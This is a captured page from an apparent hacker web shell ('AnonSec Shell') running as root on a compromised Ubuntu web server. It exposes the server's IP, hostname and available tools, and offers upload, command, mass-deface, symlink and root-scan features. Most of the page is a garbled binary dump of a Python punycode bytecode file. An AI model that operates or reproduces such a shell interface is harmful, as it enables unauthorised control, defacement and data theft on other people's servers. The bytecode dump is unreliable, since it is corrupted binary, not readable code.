AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/encodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3.10/encodings/__pycache__/punycode.cpython-310.pyc
o

}�5h��@s�dZddlZdd�Zdd�Zdd�Zd	d
�Zdd�Zd
Zdd�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZGdd�dej�ZGdd�dej�ZGd d!�d!ej�ZGd"d#�d#eej�ZGd$d%�d%eej�Zd&d'�ZdS)(uY Codec for the Punicode encoding, as specified in RFC 3492

Written by Martin v. Löwis.
�NcCsPt�}t�}|D]}t|�dkr|�t|��q|�|�qt|�}t|�|fS)z 3.1 Basic code point segregation�)�	bytearray�set�ord�append�add�sorted�bytes)�str�base�extended�c�r�)/usr/lib/python3.10/encodings/punycode.py�	segregate
srcCs&d}|D]}t|�|kr|d7}q|S)z@Return the length of str, considering only characters below max.r�)r)r
�max�resr
rrr�
selective_lens�rcCsLt|�}	|d7}||krdS||}||kr|d|fS||kr%|d7}q)aReturn a pair (index, pos), indicating the next occurrence of
    char in str. index is the position of the character considering
    only ordinals up to and including char, and pos is the position in
    the full string. index/pos is the starting position in the full
    string.r)���r)�len)r
�char�index�pos�lr
rrr�selective_finds�rcCs�d}g}d}|D]:}d}}t|�}t||�}	|	d||}
	t||||�\}}|dkr.n|
||7}
|�|
d�|}d}
q |}q|S)�3.2 Insertion unsort codingrrrr)rrrr)r
r�oldchar�result�oldindexr
rrr�curlen�deltarrr�insertion_unsort0s&
�r"cCs,d|d|}|dkrdS|dkrdS|S)N�$r�r)�j�biasrrrr�TFsr's$abcdefghijklmnopqrstuvwxyz0123456789cCslt�}d}	t||�}||kr|�t|�t|�S|�t|||d|�||d|}|d7}q)�(3.3 Generalized variable-length integersrrr#)rr'r�digitsr	)�Nr&rr%�trrr�generate_generalized_integerNs
�r,cCs^|r|d}n|d}|||7}d}|dkr#|d}|d7}|dks|d||d}|S)Ni��ri��#r#�&r)r!�first�numchars�	divisionsr&rrr�adapt[s
�r3cCsPt�}d}t|�D]\}}t||�}|�|�t||dk||d�}q	t|�S)z3.4 Bias adaptation�Hrr)r�	enumerater,�extendr3r	)�baselen�deltasrr&�pointsr!�srrr�generate_integersjs

r;cCs8t|�\}}t||�}tt|�|�}|r|d|S|S)N�-)rr"r;r)�textrrr8rrr�punycode_encodeus
r>c
Cs�d}d}d}	zt||�}Wnty&|dkrtd��|ddfYSw|d7}d|kr5dkr<nn|d}n#d|krFd	krMnn|d
}n|dkr[td||d��|dfSt||�}	|||7}||	krr||fS|d|	}|d7}q)
r(rr�strictzincomplete punicode stringN�A�Z�0�9�z Invalid extended code point '%s'r#)r�
IndexError�UnicodeErrorr')
r�extposr&�errorsr�wr%r�digitr+rrr�decode_generalized_numbers8�


�
�rKc	Cs�d}d}d}d}|t|�krit||||�\}}|dur|S||d7}||t|�d7}|dkr?|dkr;td	|��td
�}|t|�d}|d|�t|�||d�}t||dkt|��}|}|t|�ks|S)rrrr4rNri��r?zInvalid character U+%x�?)rrKrFr�chrr3)	rrrHrrr&rG�newposr!rrr�insertion_sort�s,� �rOcCs�t|t�r
|�d�}t|t�rt|�}|�d�}|dkr&d}t|d���}nt|d|�d|�}t||dd�d���}t|||�S)N�asciir<r�r)�
isinstancer
�encode�
memoryviewr	�rfind�upperrO)r=rHrrrrrr�punycode_decode�s



rWc@s eZdZddd�Zddd�ZdS)�Codecr?cCst|�}|t|�fS�N)r>r��self�inputrHrrrrrS�szCodec.encodecCs*|dvr
td|��t||�}|t|�fS�N)r?�replace�ignorezUnsupported error handling )rFrWrrZrrr�decode�s
zCodec.decodeN)r?)�__name__�
__module__�__qualname__rSr`rrrrrX�s
rXc@�eZdZddd�ZdS)�IncrementalEncoderFcCst|�SrY)r>�r[r\�finalrrrrS�szIncrementalEncoder.encodeN�F)rarbrcrSrrrrre��rec@rd)�IncrementalDecoderFcCs$|jdvrtd|j��t||j�Sr])rHrFrWrfrrrr`�s
zIncrementalDecoder.decodeNrh)rarbrcr`rrrrrj�rirjc@�eZdZdS)�StreamWriterN�rarbrcrrrrrl��rlc@rk)�StreamReaderNrmrrrrro�rnroc	Cs tjdt�jt�jttttd�S)N�punycode)�namerSr`�incrementalencoder�incrementaldecoder�streamwriter�streamreader)	�codecs�	CodecInforXrSr`rerjrlrorrrr�getregentry�s�rx)�__doc__rvrrrr"r'r)r,r3r;r>rKrOrWrXrerjrlrorxrrrr�<module>s*



Anon7 - 2022
AnonSec Team